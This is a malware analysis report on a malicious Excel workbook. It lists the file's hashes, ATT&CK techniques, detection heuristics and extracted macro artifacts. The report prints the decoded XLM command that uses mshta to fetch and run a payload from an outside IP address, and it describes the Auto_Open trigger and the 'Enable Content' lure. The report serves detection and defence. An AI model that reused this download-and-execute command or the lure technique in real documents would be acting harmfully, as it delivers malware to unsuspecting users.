Malicious Office (OLE) / .XLSX — malware analysis report

Static analysis result for SHA-256 e328c39a387b6857…

MALICIOUS

Office (OLE) / .XLSX

64.1 KB Created: 2021-12-16 23:53:43 Authoring application: Microsoft Excel
MD5: ca2895628417fd7b11a8353f106c629c SHA-1: c298a9ec33f4f3a79e9d491513d9500bb2c3dd19 SHA-256: e328c39a387b685791e2a2de9cf984205118f6a8dc5e3f79e8ae2683152398c3
108 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File T1059.005 Service Execution: Visual Basic T1059.003 Command and Scripting Interpreter: Windows Command Shell

The sample contains Excel 4.0 macros with an Auto_Open entry, indicating automatic execution upon opening. The macro defines a string that reconstructs to 'cmd /c m^sh^t^a h^tt^p^:/^/87.251.85.100/oo/oo.html', which is a command to download a payload from a specified URL. The document body also contains a lure to "Enable Editing" and "Enable Content" to view the content, a common social engineering tactic. The VBA project does not contain executable statements, but the XLM macro is the primary execution mechanism.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • VBA project contains no executable statements low OLE_VBA_MACROS
    Document contains a VBA project, but extracted modules only contain attributes/options/comments and no executable statements.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
de81f8962b42018d50fc3f858c62f78dac7c27a8d9c6bc0ba2b69c5b8c8e6d84
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1240 bytes
macros.bas
faef16cfc3b69e6dacc60198a7ccc61c4bb61c8632529929cd74db2189ccdc82
vba-macro oletools.olevba.extract_macros (decoded VBA source) 906 bytes